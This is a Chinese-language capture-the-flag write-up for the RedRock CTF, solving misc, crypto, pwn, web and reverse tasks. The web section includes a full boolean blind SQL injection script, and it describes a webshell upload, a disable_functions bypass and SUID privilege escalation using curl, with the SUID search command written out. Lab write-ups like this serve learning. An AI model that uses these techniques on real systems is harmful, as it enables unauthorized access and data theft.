REDROCK CTF  WP

参赛人：yingwenzha



MISC

1.yourcraft







没啥好说的跑酷就完了(绿宝石那关后面有捷径)

![ymc](./Img/ymc.png)

2.签到

![image-20241117155243713](./Img/qd.png)

cv

3.290的小秘密 lsb加密用stegsolve![lsb](./Img/lsb.png)

就出来了

4.wireshark

直接丢wireshark里

最后一个的hex就直接是了

![wireshark](./Img/wireshark.png)

5.我图图呢

两段中一段是改图片长度获得隐藏内容

另一端是编码最后地方

![tutu](./Img/tutu.png)

![tutu2](.\Img\tutu2.png)

![tutu3](./Img/tutu3.png)

6.easyzip

![zip](./Img/zip.png)

![zip2](./Img/zip2.png)

6.Are you a JPG master?

这道题看有两个hint

所以跟着hint来就行

先是JAVA盲水印

然后寻找工具

<img src="./Img/JPG.png" alt="JPG" style="zoom:50%;" />

找到了

剥离水印。获得第一次zip密码

![JPG2](./Img/JPG2.png)

然后level2

给了个图片和dic

因为有dic首先怀疑是文件植入了一个zip

要用dic暴力破解zip得到flag

打开kali

binwalk -e。。。。。。。。。。

没用

查看hint

怀疑是图片数据直接隐写

然后开始判断种类

先用`stegdetect`判断，结果ng，所以f5和ourgruss排除

同时尝试oursecret

直接判断为无

于是使用Stegsolve查看图片细节

发现大量奇怪色块![JPG3](./Img/JPG3.png)判断是`steghide`

着手编写脚本

```
#http://pcat.cc
from subprocess import *

def foo():
    stegoFile='level2.jpg'
    extractFile='hide.txt'
    passFile='dic.txt'

    errors=['could not extract','steghide --help','Syntax error']
    cmdFormat='steghide extract -sf "%s" -xf "%s" -p "%s"'
    f=open(passFile,'r')

    for line in f.readlines():
        cmd=cmdFormat %(stegoFile,extractFile,line.strip())
        p=Popen(cmd,shell=True,stdout=PIPE,stderr=STDOUT)
        content=unicode(p.stdout.read(),'gbk')
        for err in errors:
            if err in content:
                break
        else:
            print content,
            print 'the passphrase is %s' %(line.strip())
            f.close()
            return

if __name__ == '__main__':
    foo()
    print 'ok'
    pass

```

运行

成功获得flag

![JPG4](./Img/JPG4.png)

7.mermory

kali里下好vol然后内存分析，在浏览器记录里发现了secret.png![mermory](./Img/mermory.png)和part3

然后把secret.png导出获得头

在剪切板记录里获得part2![mermory2](./Img/mermory2.png)

最后结合头部中部尾部得到flag

8.5525

SilentEye隐写，把音频导入然后解密就行

根据hint提示这个密码和五月天有关（u1s1它这个误导非常大，因为hint说key是歌手名首字母大写可问题是解出来的key是Mayday二Mayday是五月天这个乐队的名字，五月天是乐队而不是歌手，真的奇了怪了

![5525](./Img/5525.png)



## 密码学

1.real1ty的小秘密

![real1ty-small](./Img/real1ty-small.png)

凯撒密码，试几下就出了

![real1ty-small2](./Img/real1ty-small2.png)

2.我解md5真的假的

一个一个解就行直接用给的那个网站就行

![md5](./Img/md5.png)

注意第4个，给的那个网站我没查到，所有只能硬算

撞库就完事咯





![md52](./Img/md52.png)



3.Morse_Code

找个网站直接解，接完调小写并且%ub 和%ud分别是{}





![Morse_Code](./Img/Morse_Code.png)



4.easy crypto

先问一下gpt这是啥加密方式

问到是仿射加密

发现其具有周期性

那我多跑几遍直到redrock出现就行了

![easy crypto](./Img/easy crypto.png)

5.What is RSA

写一个解rsa的脚本

把参数填了就出了

![What is RSA](./Img/What is RSA.png)

6.e这么小吗

这道题很难，先是尝试了硬解（包括不限于拿自己电脑跑n的因素分解以及网上搜库，还用rsatoolv2也试了都没出）直到翻到一个博客

[RSA算法原理及CTF解题_ctf rsa 已知m n c 求e-CSDN博客](https://blog.csdn.net/qq_45521281/article/details/114706622)

##### e=3，可进行小明文攻击

适用情况：e较小，一般为3。

当如果公钥e很小，明文m也不大的话，就会导致 `m^e=k*n+c` 中的k值很小甚至为0，爆破k或直接开三次方即可。

根据这个思路

（因为这道题给我发的数字都是10进制所有我需要先改一下代码再获得10进制解密数字后转16进制然后转字符串）![e-small](./Img/e-small.png)

结果图：![e-small2](./Img/e-small2.png)![e-small3](./Img/e-small3.png)

7.rel1ty的大秘密

这道题是赤石，贼大一个文件

但是总的来说还是很简单

写3个程序分别用于解base16 32 64编码![rel1ty-big](./Img/rel1ty-big.png)

然后来回套，看那个可以继续套下去

直到出现一个很像flag的东西

![rel1ty-big](./Img/rel1ty-big2.png)

然后猜测royk与rock处是交换点

然后取oyk 和ock 进行原始base64解密

对比不同

交换（题意就是有3对数据表内容发生了交换）

然后是real1tG 的G与 y

不断尝试，交换

得出可能flag

然后提交

![rel1ty-big3](./Img/rel1ty-big3.png)

8.real1ty的中秘密

维吉尼亚密码的变种，叫gpt写了个脚本

```
def vigenere_decrypt(ciphertext, key, shift=0):
    plaintext = ""
    base = ord('A')  # 假设为大写字母
    for i in range(len(ciphertext)):
        c = ciphertext[i]
        k = key[i % len(key)]
        # 解密公式
        decrypted_char = chr((ord(c) - ord(k) - shift) % 26 + base)
        plaintext += decrypted_char
    return plaintext

# 示例调用
ciphertext = "密文内容"  # 替换成真实密文
key = "密钥"          # 替换成已知密钥或尝试推测
shift = 0             # 替换成尝试的shift值
print(vigenere_decrypt(ciphertext, key, shift))

```

不难发现j是{

同时呢调整大小写

使大小写与密文一致

最后发现提交后还是不对

然后抖了一激灵

既然使real1ty beileves crypto ***

那么根据real1ty的大秘密我可以猜测是那个内容是safe

然后得到结果

Redrock{real1ty_believes_crypto_InfosAFE}

pwn

1.login

签到题

ida打开 输入-1 开启后门

![login](./Img/login.png)

故 -1

flag get

2. real login
3. 依旧签到
4. ![real login](./Img/real login.png)

nc 连上

输入49

获得bash

然后去根目录cat flag

3.爱捉弄人的beatcat

这道题应该是个内存泄漏题

![爱捉弄人的beatcat](./Img/playwithbetacat.png)

![爱捉弄人的beatcat2](./Img/playwithbetacat2.png)

要buf=v2那就看怎么填充得到v2了呗，然后就看buf到r的空间大小0x191个，然后就这么填充A占位

就成功满足判定了

然后cat /flag

获得flag

4.计算猫

这个就是做脚本自动计算

![ccat](./Img/ccat.png)

然后就行了

5.与贝塔凯特约会

newstarctf 第一周的一个pwn题一样的过程

![betacatyuma](./Img/betacatyuma.png)

使nbytes_4的数据溢出到nbytes



![betacatyuma](./Img/betacatyuma2.png)

把得到的payload输进窗口就完成了

6.贝塔凯特的后门

这道题也是内存溢出

但是使要溢出到指定函数（backdoor）的地址上从而调用backdoor

之前没有这方面的知识

找了很久的资料

最后知道了方法

先是填充![backdoorbetacat](./Img/backdoorbetacat.png)

使buf刚刚溢出

![backdoorbetacat](./Img/backdoorbetacat2.png)

0x50+0x08生成个A

然后是加上backdoor的地址![backdoorbetacat](./Img/backdoorbetacat3.png)

启动脚本

![backdoorbetacat4](./Img/backdoorbetacat4.png)

成功获得flag

web

1.贪吃蛇

score控制台改10000就行

![snake](./Img/snake.png)

2.这是真签到

进去翻翻源码![realqd](./Img/realqd.png)

得到flag

3.机器人

newstarctf中的智械危机类似

看robots.txt这是一个协议关于爬虫相关的

![robot](./Img/robot.png)

然后先看hint知道/flag下的字符串是flag的每个字符填充7个随机字符得到

所以写个脚本就得到flag了

![robot2](./Img/robot2.png)

4.留言板

python版sql注入

先在留言板试了几下

发现它会打印一个字符串回来

内容就是你写的内容

但是它被u‘’包被

所以写的时候现在前面加一个‘+f’就可在{}里执行任意命令，注意到它有限长，而且和‘’的数量.的数量有关，所以废了下功夫构造出一个函数得到flag

![liuyan](./Img/liuyan.png)

![liuyan2](./Img/liuyan2.png)

5.肚子饿了

这道题使真的很折磨人

我试了很久的绕过,都没有成功绕掉，你是黑客不给你吃真的把我脑子贯穿，chatgpt都爆了几次

最后找到了成功的方式。

首先，这个题是布尔盲注

那么我就要想办法得生成一个字符然后判断这个字符是否是（首先是表然后是列最后是值）的几号字符。

看了newstarctf的wp也是能够知道了这大概是个什么流程

但是问题最大的是如何找到这个判断通过长时间的分析发现and和union不能用，位置还是在尴尬的order by 后面 并且order by 后面已经有了一个值（在这里命名为x）。所以唯一的出路是想办法让那个by后面的值入手，发现if(e1,e2,e3)这个sql语句中e1是判别式如果正确那么就会返回e2如果错误那么就会返回e3。这就是一个很好的触发点。此时如果找到一个运算符让x与这个if出来的值进行计算可以改变表的顺序就大功告成。

经过尝试![ele](./Img/ele.png)。![ele2](./Img/ele2.png)最后发现如果在?type=处填写>>IF((判别式),2,1)就可以做到上条件。然后就开始着手写脚本

```
import requests
from urllib.parse import quote
url = "http://127.0.0.1:16626/"
mark = "西红柿炒鸡蛋</td><td>18.00</td><td>西红柿炒鸡蛋，是一道家常菜，在口感方面爽口、开胃，因此也是许多百姓家庭中一道普通的大众菜肴。</td></tr><tr><td>干煸四季豆"
result = ""
for i in range(1, 1000):
    print(result)
    print(i)
    min_value = 32
    max_value = 126
    mid = (min_value + max_value) // 2  # 中值
    while min_value < max_value:
        # 构建payload并进行URL编码

        #payload =f"index.php?type=>>(if(ord(mid((select group_concat(table_name) from information_schema.tables where table_schema like database()),{i},{i}))>{mid},2,1))"
        #tables = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secret\')))'
        tables = f'(Select(group_concat(flag))from(secret)where((secret_value)like(\'Redrock%\')))'
        char = f'ord(mid({tables},{i},{i}))'
        payload=f'index.php?type=>>(if({char}>{mid},2,1))'
        full_url =f"{url}{payload}"
        print(full_url)
        # 发送GET请求

        response = requests.get(full_url)
        # 检查返回内容是否包含标记
        if mark  in  response.text:
            min_value = mid+1
            print("get")
        else:
            max_value = mid
        mid = (min_value + max_value) // 2
            # 找不到目标元素时停止
    if mid < 32 or mid > 126:
        break
    result += chr(mid)
print("Result:", result)

```

然后就是用二分法查值最后得出flag

![ele4](./Img/ele4.png)

![ele5](./Img/ele5.png)

![ele6](./Img/ele6.png)

6.简简单单upload

进去首先审计代码![upload](./Img/upload.png)

发先了它得上传逻辑，就是说它会将源文件改名并上传道upload得目录下，

改名逻辑是时间戳+_+原名

所以通过上传文件时的回显获得服务器时间![upload](./Img/upload2.png)

然后写一个脚本换算时间戳

```
from datetime import datetime
import pytz

time_str = "Wed, 20 Nov 2024 04:22:49 GMT"
gmt = pytz.timezone('GMT')
dt = datetime.strptime(time_str, '%a, %d %b %Y %H:%M:%S GMT')
dt = gmt.localize(dt)
timestamp = int(dt.timestamp())
print("时间戳:", timestamp)

```

至于文件上传目录，不难想到就是/uploads

于是上传一个一句话用蚁剑连接它

![upload](./Img/upload3.png)

连接后查看根目录

发现flag就在哪儿

![upload](./Img/upload4.png)

但是打开是空白。发现是权限问题

然后开始想办法绕过

结果shell都无法使用

![upload](./Img/upload5.png)

查阅资料，是php设置了disable_function

通过phpinfo()发现禁用了很多方法

于是继续查阅资料

发现可以用蚁剑插件绕过

![upload](./Img/upload6.png)

成功绕过

然后考虑提权

，因为是通过反代，而且服务器nc也没有，连查阅的资料中提到的反弹都不能做到，于是完全提权路子被否掉

于是开始继续查阅资料

继续尝试

最后查阅到了suid提权

```

find / -user root -perm -4000 -print 2>/dev/null
```

然后查看文件中存在哪些usid权限的文件

对比后发现没有可以直接获得执行root权限命令的程序

但是发现有一个curl

开始以curl方向思考

一番尝试下

![upload](./Img/upload7.png)

成功获得flag

然后得到flag![upload](./Img/upload8.png)

7.slowjson

这道题是真没想过如此简单

我还在哪儿琢磨半天

本质上就是发送一个json，里面包含了如题目所说的用于操作java实现读取写入操作的各种类

spring会反序列化它们（实例化它们），从而让这些类运行起来

同时呢根据文档描述，读操作为一个字符一个字符的读。所以剩下的就很简单了

写一个脚本然后不同发送请求，请求里填充着构造好的恶意代码然后就可以了

幸运的是hint直接就写好了这样的代码

所以我只需要略作修改（指把地址改一下）就可以得到flag的anscii码

![slowjson](./Img/slowjson.png)

Reverse

1.baby_Reverse

走迷宫，首先ida打开看程序长什么样

![baby_Reverse](./Img/baby_Reverse.png)

好的，键盘输入每一步的方位，anscii码分别对应的是up down right left的首字母

所以题目要求的前三十位只需要看前三十步长什么样

然后呢不难发现

![baby_Reverse](./Img/baby_Reverse2.png)

就是存储地图数据的地方

那么直接看迷宫啥样

![baby_Reverse](./Img/baby_Reverse3.png)

整理一下

![baby_Reverse](./Img/baby_Reverse4.png)

发现有部分道路堵塞，没关系，反正都在很后面了影响不大

随便修补修补。我只取前面的（图中展示的是修补完了的）

然后就是用bfs算法算出路径

![baby_Reverse](./Img/baby_Reverse5.png)

算出后取前面30个

![baby_Reverse](./Img/baby_Reverse6.png)

（A为左右B为上下的位移）

然后anscii转换一下

flag就出了

2.easy

确实很easy，flag直接明文展示的

![easy](./Img/easy.png)

拿就拿下呗

3.mini_game

ida打开

好多东西

看不懂

没事

我只知道这个游戏就是很简单的小游戏，只需要键盘输入屏幕上显示过的字符就可以获得过关，获取部分flag

最大的问题是，显示的速度太快，根本记不住

没事

ce启动，启动变速齿轮，然后速度就正常了

过关呗，然后flag拿下![mini_game](./Img/mini_game.png)

![mini_game](./Img/mini_game2.png)